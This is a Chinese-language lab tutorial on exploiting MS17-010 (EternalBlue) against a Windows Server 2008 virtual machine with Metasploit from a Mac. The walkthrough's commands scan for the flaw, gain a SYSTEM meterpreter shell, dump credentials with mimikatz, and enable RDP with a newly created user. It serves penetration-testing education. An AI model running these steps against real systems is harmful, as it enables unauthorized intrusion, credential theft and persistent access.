【网络安全】永恒之蓝实战 - Mac通过Metasploit攻击Server2008

导读

准备一个Server2008，通过Metasploit获取system访问权限，进入meterpreter交互界面。
通过shell命令，连通目标机器的cmd，查看目标系统信息。
然后通过mimikatz查看系统用户。
最后通过run enable_rdp开启控制机远程桌面并创建用户。

开发环境

	版本号	描述
MacOS（攻击机器）	11.5
Windows（目标机器）	Server 2008 R2 x64 SP1
Metasploit	6.2.15-dev-1b985447c5dccba9be98ed7cef60eecf487b9ec5
Microsoft_Remote_Desktop	10.7.9

基础知识

永恒之蓝

SMB（Server Message Block）又称网络文件共享系统（Common Internet File System，缩写为CIFS），一种应用层网络传输协议，主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的行程间通信机能。

永恒之蓝”（Eternalblue）漏洞编号MS17-010 泄露自美国国家安全局(NSA)黑客工具包

该漏洞利用工具针对TCP 445端口(Server Message Block/SMB)的文件分享协议进行攻击，可以获取系统最高权限system

漏洞影响：Windows NT，Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等

Metasploit

常用命令

show exploits – 查看所有可用的渗透攻击程序代码 
show auxiliary – 查看所有可用的辅助攻击工具 
show options – 查看该模块所有可用选项 
show payloads – 查看该模块适用的所有载荷代码 
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块 
info – 显示某模块的详细信息 
use – 进入使用某渗透攻击模块 
back – 回退 
set/unset – 设置/禁用模块中的某个参数 
setg/unsetg – 设置/禁用适用于所有模块的全局参数 
save – 将当前设置值保存下来，以便下次启动MSF终端时仍可使用

meterpreter

meterpreter 是一个高级的，动态的，可拓展的Payload，出现meterpreter 我们就有了shell，可以执行非常多的命令，去操控远端设备。
执行命令：？或者help，显示出可以执行的全部命令。
我们会用到upload、run等命令。

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session
    ssl_verify                Modify the SSL certificate verification setting
    transport                 Manage the transport mechanisms
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

准备工作

虚拟机安装Server2008

系统下载地址：https://msdn.itellyou.cn/

安装：略~~~

Mac上安装Metasploit

下载安装：
【可忽略】官网地址：https://www.metasploit.com/download
【可忽略】通过官网，只能访问到github的wiki页面，wiki页面又让跳转到官网的帮助文档页面：https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
帮助页面中，我们可以看到支持各种平台，其中Mac平台是通过 https://osx.metasploit.com/metasploitframework-latest.pkg下载，直接安装即可。

初始化、运行：

# 切换到工作目录
cd /opt/metasploit-framework/bin/

# 一定要这么做，否则连接的数据库一定有问题。
./msfdb init

# 运行Metasploit开控台（运行一次会将路径设置到环境变量中，以后就可以直接访问该目录中所有命令了）
./msfconsole

Mac上安装远程桌面客户端Microsoft Remote Desktop

通过App Store是无法搜索到Microsoft Remote Desktop的；通过https://apps.apple.com/tw/app/microsoft-remote-desktop/id1295203466页面跳转到App Store，会提示地区尚不提供此App。

这里，我们通过该地址直接下载https://mac.softpedia.com/get/Utilities/Microsoft-Remote-Desktop-Connection.shtml，下载的文件名为Microsoft_Remote_Desktop_10.7.9_installer.pkg，双击即可安装。

下面两个下载地址需要登录，有点麻烦

• 玩转苹果下载：https://www.ifunmac.com/?s=Microsoft+Remote+Desktop+for+Mac&x=0&y=0
• 未来Mac下载: https://mac.orsoon.com/search/Microsoft%20Remote%20Desktop%20for%20Ma_mac_1.html

通过Metasploit，获取靶机shell

搜索17-010相关漏洞插件

msf6 > search 17-010

使用scanner辅助验证插件扫描漏洞

# 选中插件
use auxiliary/scanner/smb/smb_ms17_010

# 设置目录机器，单个ip验证（虚拟机中的Server2008）
set RHOSTS 192.168.1.216

# 开始执行漏洞扫描
run

效果如下：

ps:
show options是显示这个插件相关的参数，在Required这一栏下面是yes的表示必填参数。

ps:
参数RHOSTS和THREADS:

# RHOSTS这个参数可以设置一个目标网段，进行扫描测试
set RHOSTS 192.168.29.1/24

# 设置扫描线程，插件默认是1，这里设置为20：
set THREADS 20

exploit获取shell

使用exploit模块来进行攻击测试

use exploit/windows/smb/ms17_010_eternalblue 

set RHOSTS 192.168.1.1
set THREADS 10
run

效果如下：

执行命令shell即可进入cmd命令行:

ps:
在windows命令行输入 chcp 65001 解决中文乱码

利用mimikatz模块，爆破靶机账号密码

# 加载mimikatz
load mimikatz

# 读取内存中存放的账号密码
creds_wdigest

效果如下：

利用meterpreter模块，开启控制机远程桌面并创建用户

开启rdp

# 1，启动远程桌面（通过爆破出来的密码登录）
meterpreter > run post/windows/manage/enable_rdp 

# 2，创建一个新用户来远程连接 windows 桌面
meterpreter > run post/windows/manage/enable_rdp username=root password=[email protected]

通过Microsoft Remote Desktop远程连接Server2008

ps:
kali连接windows桌面 rdesktop 192.168.1.216

参考资料

• mac下安装Metasploit https://www.kali.org/get-kali/#kali-bare-metal